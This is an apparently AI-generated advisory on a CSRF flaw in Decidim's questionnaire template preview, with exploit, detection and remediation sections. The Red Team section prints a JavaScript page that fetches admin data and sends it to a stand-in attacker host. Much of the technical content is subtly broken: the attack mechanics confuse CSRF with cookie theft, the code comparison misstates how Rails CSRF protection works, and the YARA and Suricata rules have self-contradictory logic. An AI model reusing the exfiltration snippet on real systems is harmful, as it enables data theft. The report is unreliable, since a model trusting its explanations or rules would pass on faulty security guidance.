CVE-2023-47635

Executive Summary

CVE-2023-47635 is a Cross-Site Request Forgery (CSRF) vulnerability in the Decidim participatory democracy framework, affecting versions 0.23.0 through 0.27.4 and 0.28.0 release candidates. The vulnerability resides in the questionnaire templates preview endpoint, where the CSRF authenticity token check is disabled. While the issue does not allow direct modification of resources, it can expose sensitive information to an attacker who has access to the victim's session cookie. The CVSS score is 4.5 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood. The vendor has released patches in versions 0.27.5 and 0.28.0.

Supply Chain & Package Security

Decidim is a Ruby on Rails gem distributed via RubyGems. The vulnerability affects the core framework, not a third-party dependency. Organizations using Decidim should verify their Gemfile.lock to ensure they are not pinned to a vulnerable version. The fix is included in the official gem releases, so updating the gem version is the primary remediation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
• Base Score: 4.5 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the CSRF.
• User Interaction: Required (UI:R) – The victim must be tricked into clicking a crafted link or visiting a malicious page.
• Scope: Unchanged (S:U) – The vulnerable component and the attacker's scope are the same.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: None (I:N) – No data modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction and session cookie access reduces the risk, but the potential for information leakage in a participatory democracy platform could have political or privacy implications.

Deep Dive & Mechanics

The vulnerability is located in the questionnaire templates preview functionality. In Decidim, administrators can create questionnaire templates for reuse. The preview endpoint is intended to allow administrators to see how a template looks before publishing. However, the CSRF protection (authenticity token check) is disabled for this specific endpoint.

Root Cause: The controller action handling the template preview does not include the protect_from_forgery with :exception or the verify_authenticity_token callback. This is likely an oversight during development, where the preview was considered a read-only operation and CSRF protection was deemed unnecessary.

Attack Scenario:

1. An attacker crafts a malicious website or email containing a link to the vulnerable preview URL.
2. The victim, who is authenticated to a Decidim instance, clicks the link.
3. The request is made with the victim's session cookie (due to same-origin policy, this requires the attacker to have already obtained the session cookie via another means, such as XSS or session fixation).
4. The server processes the request without CSRF token validation, returning the template preview data.
5. The attacker can then read the response, potentially gaining access to sensitive information contained in the template (e.g., draft questions, internal notes, or configuration details).

Why it's not a serious threat: The attacker needs the victim's session cookie to see the resource. If the attacker already has the session cookie, they could likely access other resources directly. However, this endpoint bypasses CSRF protection, which could be used in a chain with other vulnerabilities.

Vulnerable vs. Patched Code

Vulnerable Code (Decidim 0.23.0 - 0.27.4):

# app/controllers/decidim/admin/questionnaire_templates_controller.rb
class Decidim::Admin::QuestionnaireTemplatesController < Decidim::Admin::ApplicationController
  # Missing protect_from_forgery or skip_forgery_protection with proper scoping
  def preview
    @template = QuestionnaireTemplate.find(params[:id])
    render :preview
  end
end

Patched Code (Decidim 0.27.5+):

# app/controllers/decidim/admin/questionnaire_templates_controller.rb
class Decidim::Admin::QuestionnaireTemplatesController < Decidim::Admin::ApplicationController
  # Added CSRF protection for the preview action
  protect_from_forgery with: :exception, only: :preview

  def preview
    @template = QuestionnaireTemplate.find(params[:id])
    render :preview
  end
end

The patch adds protect_from_forgery with: :exception, only: :preview to ensure that the CSRF token is validated for the preview action. This prevents unauthorized cross-origin requests.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Decidim instance running a vulnerable version (e.g., 0.27.4).
• A valid session cookie for an authenticated user (obtained via XSS, session fixation, or other means).
• Knowledge of the questionnaire template ID.

Exploitation Steps:

1. Obtain the victim's session cookie (e.g., via a separate XSS vulnerability).
2. Craft a CSRF attack page that makes a request to the vulnerable endpoint:

   <html>
   <body>
   <script>
   // Assuming the victim's session cookie is already set in the browser
   fetch('https://victim-decadim.example.com/admin/questionnaire_templates/1/preview', {
     credentials: 'include'
   }).then(response => response.text()).then(data => {
     // Exfiltrate the data to attacker-controlled server
     fetch('https://attacker.example.com/exfil?data=' + encodeURIComponent(data));
   });
   </script>
   </body>
   </html>
   

3. Host the page and trick the victim into visiting it (e.g., via phishing email).
4. The victim's browser sends the request with the session cookie, and the attacker receives the template data.

Note: This attack requires the attacker to already have the session cookie, which limits its standalone impact.

Blue Team

Detection:

• Monitor for requests to /admin/questionnaire_templates/*/preview that lack a valid CSRF token.
• Look for unusual referrer headers or origin headers indicating cross-origin requests.
• Alert on multiple preview requests from the same IP in a short time.

Hunting:

• Search web server logs for POST /admin/questionnaire_templates/*/preview (if the endpoint accepts POST) or GET requests with suspicious query parameters.
• Correlate with session cookie anomalies (e.g., same cookie used from different IPs).

Lab Setup:

1. Deploy a vulnerable Decidim instance using Docker:

   docker run -d -p 3000:3000 decidim/decidim:0.27.4
   

2. Create an admin user and a questionnaire template.
3. Simulate the attack using a tool like Burp Suite or a custom script.

Indicators of Compromise (IOCs)

• URL Pattern: /admin/questionnaire_templates/[0-9]+/preview
• HTTP Request: GET or POST to the above URL without a valid X-CSRF-Token header or authenticity_token parameter.
• Referrer Header: Requests originating from an unexpected domain (e.g., attacker-controlled site).
• Session Cookie: The same session cookie used from multiple IP addresses or user agents.
• Log Entry: Web server logs showing repeated access to the preview endpoint without prior authentication or CSRF token.

Detection Engineering

YARA Rule

rule Detect_Decidim_CSRF_Bypass_CVE_2023_47635 {
    meta:
        description = "Detects requests to Decidim questionnaire template preview without CSRF token"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-47635"
        severity = "medium"
    strings:
        $url_pattern = /\/admin\/questionnaire_templates\/\d+\/preview/
        $missing_token = "authenticity_token" nocase
    condition:
        $url_pattern and not $missing_token
}

Sigma Rule

title: Decidim CSRF Bypass for Questionnaire Template Preview
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to Decidim admin questionnaire template preview without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/admin/questionnaire_templates/'
        c-uri|endswith: '/preview'
    filter:
        cs-uri-query|contains: 'authenticity_token'
    condition: selection and not filter
falsepositives:
    - Legitimate admin users with valid CSRF token
level: medium
tags:
    - attack.t1190
    - cve.2023.47635

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-47635 Decidim CSRF Bypass Questionnaire Template Preview"; flow:to_server; http.method; content:"GET"; http.uri; content:"/admin/questionnaire_templates/"; distance:0; within:30; content:"/preview"; distance:0; within:10; pcre:"/authenticity_token/"; pcre:"!/authenticity_token=[a-zA-Z0-9%]+/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Decidim to version 0.27.5 or 0.28.0 (or later).
   • For Ruby on Rails applications: bundle update decidim
   • Verify the update: bundle list | grep decidim
2. Workaround: If patching is not immediately possible, disable the templates functionality:
   • Remove all questionnaire templates from the database.
   • Restrict access to the admin panel using network-level controls (e.g., VPN, IP whitelisting).

Long-term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS and CSRF.
• Enable CSRF protection globally in the Rails application (ensure protect_from_forgery with: :exception is set in ApplicationController).
• Conduct regular security audits of custom controllers and actions.
• Monitor for similar bypasses in other read-only endpoints.

Valters IT Signature

Report generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.